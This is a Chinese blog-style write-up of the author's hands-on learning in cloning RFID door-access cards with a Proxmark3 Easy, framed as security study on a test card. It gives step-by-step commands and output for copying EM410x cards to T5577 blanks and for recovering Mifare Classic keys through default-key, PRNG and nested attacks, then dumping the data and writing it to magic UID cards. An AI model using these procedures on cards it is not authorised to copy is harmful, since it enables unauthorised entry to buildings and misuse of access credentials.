Proxmark3 Easy破解门禁卡学习过程

前言

  安全不仅仅包含网络上的安全,在我们实际生活中也同样存在很多个安全相关的事物,可以说跟科技扯上关系的事物都会有安全问题,无线,蓝牙,手机,无人机,汽车。真正有问题的不是安全,而是人心。很多事物的设计之初都是没有考虑安全问题的,因为人心的不坏好意迫使去考虑它的安全问题。

硬件准备

破解设备

Proxmark3 Easy
Proxmark3 Easy
破解工具不一定是Proxmark3 Easy,只要是还能够获取和修改卡片数据的设备都可以,比如arc122u,arc122u只能读取和修改高频卡,有点不足
arc122u

各种卡

准备一些ID,IC卡
ka
这不都长一个样么(#-.-)

区分ID卡和IC卡的方法
  1. 光照法
    1
    2
    圆形大多是ID卡,方形大多是IC卡
  2. NFC法
    拿一部带有NFC功能的手机打开NFC,卡片靠近手机会响的是IC卡,不会响的是ID卡

知识准备

  首先,门禁卡所用到的技术是RFID,具体详情可以看这里–>传送门,首先从频率上可以分为高频(13.56MHZ)和低频两种类型的卡,在这两个频率上又会分为多种类型的卡。常见的卡的有

类型 频率 特性
Mifare S50(简称M1) 高频 最常见的卡,每张卡有独一无二的UID号,可保存修改数据,常见学生卡,饭卡,公交卡,门禁卡
Mifare UltraLight(简称M0) 高频 低成本卡,出厂固化UID,可储存修改数据,常见地铁卡,公交卡
Mifare UID(简称UID卡) 高频 M1卡的变异版本,可修改UID,国外叫做中国魔术卡,可以用来克隆M1 S50的数据
EM4XX(简称ID卡) 低频 常用固化ID卡,出厂固化ID,只能读不能写(低成本门禁卡,小区门禁卡,停车场门禁卡)
T5577(简称可修改ID卡) 低频 可用来克隆ID卡,出厂为空卡,内有三区也可储存数据,个别三区科设置密码
HID ProxⅡ(简称HID卡) 低频 美国常用的低频卡,可擦写,不与其他卡通用
高频
M1 S50卡

  目前最常见的高频卡,也是我们口中俗称的IC卡。M1卡科储存的数据大小为8k,分为16个扇区,每个扇区分4个块,每个块为16个字节,以块为存取单位。每个扇区都有独立的一组密码及访问控制,每张卡有唯一的一个32位的序列号。每个扇区的0,1,2块为数据块,用来存储数据,第3块为控制块,包括了密A、存取控制、密码B
每张卡的第0扇区的第0块用来春芳厂商代码,不可更改。

扇区0	03332801198804008500b42ef0bb6aa8 块0	 	//厂商代码,不可更改
	000000000000000000000000000000001	 	//数据块
	000000000000000000000000000000002 		//数据块
	ffffffffffffff078069ffffffffffff 块3 		//密码A(6字节),存储控制(4字节),密码B(6字节)

扇区1	000000000000000000000000000000004 		//出了第0扇区稍有不同,其他15个扇区结构完全一样
	000000000000000000000000000000005
	000000000000000000000000000000006
	ffffffffffffff078069ffffffffffff 块7
		        .
		        .
		        .   
扇区15	0000000000000000000000000000000060
	0000000000000000000000000000000061
	0000000000000000000000000000000062
	ffffffffffffff078069ffffffffffff 块63

  中间4字节控制字是管理密码权限,用来设置A密码和B密码的功能。默认不修改的时候,可以用A密码读写所有数据。A密码不可读出,B密码可以用A密码读出。密码不一定可以读取,由控制字决定。

M1 UID卡

  M1 UID卡是针对M1 S50卡特制的变种卡,用起来和M1 S50完全一样,只是多了一个功能,就是0扇区块的数据可以随意修改。因此UID号也可以随意修改,厂家信息也可以随意修改。UID卡修改0扇区0块数据是靠指令进入工厂模式,可以直接对全卡任何数据编辑,不需要密码即可读写卡,同时不怕写坏卡,即使写错0块,写坏扇区控制字,也可以随时修复回来,不影响后续使用。

FUID卡

  FUID卡是针对UID卡做的优化。新的读卡系统,通过检测卡片对特殊指令的回应,可以检测出UID卡,因此可以来拒绝UID卡的访问,来达到屏蔽复制卡的功能。FUID可以修改0块,但只可以修改一次,写错也没办法更改,也不能重复利用。修改后和M1卡完全一样,很难被屏蔽检测。

CUID卡

  CUID卡是针对FUID卡做的优化。CUID卡可以重复修改0块,但是它和UID卡的区别是,UID卡是通过指令修改0块,CUID使用的是常规密码验证的方法写0块,其他扇区和标准M1卡相同。缺点是,还是有可能会被检测出来,而且如果不小心写错了UID号的校验位导致无法读卡,没办法修复只能报废。

低频
ID卡

  ID卡是我们的俗称,内部芯片的全名叫做EM4100或EM41XX。每张卡出厂就有独一无二的ID号,不可改写。

T5577卡

  T5577 卡是一种可以写入数据可以加密的低频卡。最特别之处是,写入ID号可以变身成为ID卡,写入HID号可以变身HID卡,写入Indala卡号,可以变身Indala卡。T5577一共有8个块,每个块只能存8位数。第0块是用来设置卡片类型和调制方式的,决定了卡片是ID卡还是HID卡,如果随意修改会导致读不到卡。最后一个块,在没有加密时是数据区,加密后,其数据就变成了密码。结构如下

0x00148040  00000000000101001000000001000000 [0]
0xFF94C004  11111111100101001100000000000100 [1]
0xA5464942  10100101010001100100100101000010 [2]
0xFFFFF808  11111111111111111111100000001000 [3]
0x0001C000  00000000000000011100000000000000 [4]
0x0001C000  00000000000000011100000000000000 [5]
0x0001C000  00000000000000011100000000000000 [6]
0x0001C000  00000000000000011100000000000000 [7]

破解

破解ID卡
安装驱动

驱动下载官网网址–>传送门
安装驱动文件前需要禁用驱动安装强制签名,方法–>传送门
驱动安装方法
我的电脑右键–>管理–>设备管理器–>端口下的设备右键–>更新驱动程序–>浏览我的计算机–>选择本地–>从磁盘安装–找到官方的驱动文件–>确认
驱动安装完成会显示图片上的样子,记住COM端口
4

硬件使用方法

Proxmark3 Easy
3

1 功能按钮
2 ABCD工作状态指示灯
3 USB接口
4 电源指示灯
5 低频读卡区
6 高频读卡区

  功能按钮有退出取消停止强刷固件的功能,ABCD指示灯作为设备运行的依据,闪烁说明正在进行,完全熄灭或者常亮代表攻击失败、等待。全部熄灭表示已经停止运行了,直接重新拔插设备。

破解方法

读卡片ID号→换上T5577卡→把ID号写入卡片→完成
ID是没有密码只有卡号的,因此只要知道卡号就可以复制。
软件资料包–>密码: f8q4
打开官方软件固件\pm3-bin-2.5.0\win32(client+GUI)\Proxmark Tool.exe,箭头所指选择刚刚驱动安装的那个COM端口,连接Proxmark3,接入电脑后,电源指示灯处POW亮蓝灯,FULL亮绿灯,CHR闪烁微弱红灯。
5
COMMAND TO SEND里输入hw tune测试天线谐振电压,高频超过5V,低频超过10V就可以正常使用。

proxmark3> hw tune
Measuring antenna characteristics, please wait........          
# LF antenna: 22.27 V @   125.00 kHz          
# LF antenna: 31.76 V @   134.00 kHz          
# LF optimal: 31.76 V @   133.33 kHz          
# HF antenna: 20.17 V @    13.56 MHz          
Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.

把低频ID卡(门禁卡)放到低频读卡区输入lf search获取ID卡的信息,把卡号抄下来,复制时要用

proxmark3> lf search
Reading 30000 bytes from device memory
Data fetched          
Samples @ 8 bits/smpl, decimation 1:1           
NOTE: some demods output possible binary
  if it finds something that looks like a tag          
False Positives ARE possible
Checking for known tags:
EM410x pattern found:           
EM TAG ID      : 0000001450         //ID卡号,这个抄下来,如果是HID卡会显示HID
Unique TAG ID  : 000000280A          
Possible de-scramble patterns          
HoneyWell IdentKey {          
DEZ 8          : 00005200          
DEZ 10         : 0000005200          
DEZ 5.5        : 00000.05200          
DEZ 3.5A       : 000.05200          
DEZ 3.5B       : 000.05200          
DEZ 3.5C       : 000.05200          
DEZ 14/IK2     : 00000000005200          
DEZ 15/IK3     : 000000000010250          
DEZ 20/ZK      : 00000000000002080010          
}
Other          : 05200_000_00005200          
Pattern Paxton : 1331792 [0x145250]          
Pattern 1      : 16652 [0x410C]          
Pattern Sebury : 5200 0 5200  [0x1450 0x0 0x1450]          
Valid EM410x ID Found! 			//卡的类型

把T5577卡放到低频读卡区,输入命令lf hid clone 0000001450

proxmark3> lf hid clone 0000001450 
Cloning tag with ID 000001450          
proxmark3> 
proxmark3> #db# DONE!

上述命令在左上方的命令树中都可以找到,左边有一些按钮和命令的介绍
6
ID卡复制就完成了
效果如下
11

破解IC卡
IC卡破解思路

获取任意扇区的密钥

  • PRNG 漏洞攻击得 0 扇区密匙
  • 默认密码扫描获得密匙
  • 嗅探读卡机和卡片交互数据获得密匙
  • 模拟成 M1 卡刷卡后捕获密匙(挑读卡机,兼容性不好)


利用MFOC漏洞用已知扇区密钥求所有扇区密钥

用破解出的密匙把卡片数据读出导入电脑

把电脑中的数据写入UID卡中
  第一步是最重要也是最难的一步,很多IC卡往往都是难以攻破0扇区的密钥而无法进行下一步。默认密码扫描看运气,PRNG漏洞攻击概率低,后面两个虽然概率高但是成本高且实施比较困难。
  上面的Proxmark Tool是官方英文版GUI,还有国内中文版GUI(Proxmark3_EASY_GUI),中文版的GUI比较简单,不用记很多命令,原生态PM3指令台就是纯命令行模式,看起来也比较有逼格点。一开始我是根据资料用英文版的GUI,感觉不怎么好用,后来用了原生态后觉得原生态的好用多了,但是要记命令,命令忘记了就用中文GUI查命令ㄟ( ▔, ▔ )ㄏ。can't slect card这个bug也是在用了原生态之后才知道的。
PRNG漏洞获取0扇区密钥,486固件不掉线外,630之后的固件,有些卡可以破,有卡些会掉线并出现can’t slect card
7

获取0扇区密钥

扯远了,默认密码扫描hf mf chk *1 ? t

proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block:  3, key type:A, key count:13
		.
		.
		.
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]
Found keys have been transferred to the emulator memory

密码是默认密码的时候可以扫的出来,不是默认密码可以尝试PRNG漏洞获取0扇区密钥hf mf mifare

proxmark3>hf mf mifare
		.
		.
		.
uid(ea117dee) nt(431c39b0) par(0000000000000000) ks(030702000a030209) nr(800000005)


|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000005| 3 |  6  |0,0,0,0,0,0,0,0|
| 20 |00000025| 7 |  2  |0,0,0,0,0,0,0,0|
| 40 |00000045| 2 |  7  |0,0,0,0,0,0,0,0|
| 60 |00000065| 0 |  5  |0,0,0,0,0,0,0,0|
| 80 |00000085| a |  f  |0,0,0,0,0,0,0,0|
| a0 |000000a5| 3 |  6  |0,0,0,0,0,0,0,0|
| c0 |000000c5| 2 |  7  |0,0,0,0,0,0,0,0|
| e0 |000000e5| 9 |  c  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...         
p1:0 p2:0 p3:0 key:ffffffffffff
p1:58b87 p2:61ec p3:1 key:b4c98bd73e94
p1:c6a1b p2:d983 p3:2 key:576efc88ccc7
p1:ef844 p2:106dd p3:3 key:34ed3c6092e9
p1:f7e1e p2:10fd7 p3:4 key:2de06659d60e
p1:1239c0 p2:13fa0 p3:5 key:08b7558601a1
p1:12d1b3 p2:149c9 p3:6 key:00adbba1e330
key_count:7
------------------------------------------------------------------
Key found:ffffffffffff

Found valid key:ffffffffffff

因为设备是小姐姐的,固件是630之后的,所以会出现很多#db# Mifare: Can't select card,就放不了全部代码,查看固件命令hw version

proxmark3> hw version
#db# Prox/RFID mark3 RFID instrument
#db# bootrom: /-suspect 2016-11-09 00:59:56
#db# os: /-suspect 2016-12-08 12:45:38
#db# HF FPGA image built on 2015/03/09 at 08:41:42
#db#   Modify by Willok(willok@163.com)

#db#      proxmark3.taobao.com


uC: AT91SAM7S256 Rev B
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 256K bytes
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory

Tip:固件版本是根据固件的日期来看的
我们可以测试一下我们拿到的密钥对不对,错误不会返回最下面那一行

proxmark3> hf mf chk 0 A ffffffffffff
chk key[ 0] ffffffffffff
--sector: 0, block:  0, key type:A, key count: 1
Found valid key:[ffffffffffff]

知一求十五

获取到0扇区的密钥后我们就可以通过MFOC漏洞获取所有扇区的密钥(100%成功)

proxmark3> hf mf nested 1 0 A ffffffffffff 			//0是0扇区,A密钥
Testing known keys. Sector count=16
nested...
Time in nested: 4.330 (inf sec per key)

-----------------------------------------------
Iterations count: 0


|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|

接下来导出密钥

proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested...
Time in nested: 4.302 (inf sec per key)

-----------------------------------------------
Iterations count: 0


|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...

导出后会在根目录生成一个dumpkeys.bin的文件,里面存放了16个扇区的密钥(16进制)
8

导出数据

拿到密码后我们就可以导出卡上的数据到电脑里

proxmark3> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
	  .
	  .
	  .
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block  0 of sector  0.
#db# READ BLOCK FINISHED
Successfully read block  1 of sector  0.
	  .
	  .
	  .
#db# READ BLOCK FINISHED
Successfully read block  3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin

同样16进制打开
9
因为是测试卡,所以里面就没什么数据ㄟ( ▔, ▔ )ㄏ。

写入UID卡

下一步把数据写进写UID卡
Proxmark3不能识别、使用bin文件,需要转换成eml格式
第一个方法是运行下面的命令转成eml格式

proxmark3> script run dumptoemul.lua
--- Executing: ./scripts/dumptoemul.lua, args''
Wrote an emulator-dump to the file EA117DEE.eml

-----Finished

第二个方法是运行dump to EML.bat脚本转成eml格式
10
写入到白卡(UID卡)上

proxmark3> hf mf cload  dumpdata
Loaded from file: dumpdata.eml

写卡是没有回显的,只能通过读取的方式查看有没有读取成功,对比两张卡的数据就可以看到数据是一模一样的,克隆就完成了
IC卡破解不止这一种方法,能力和设备有限,以后有机会会继续学习下去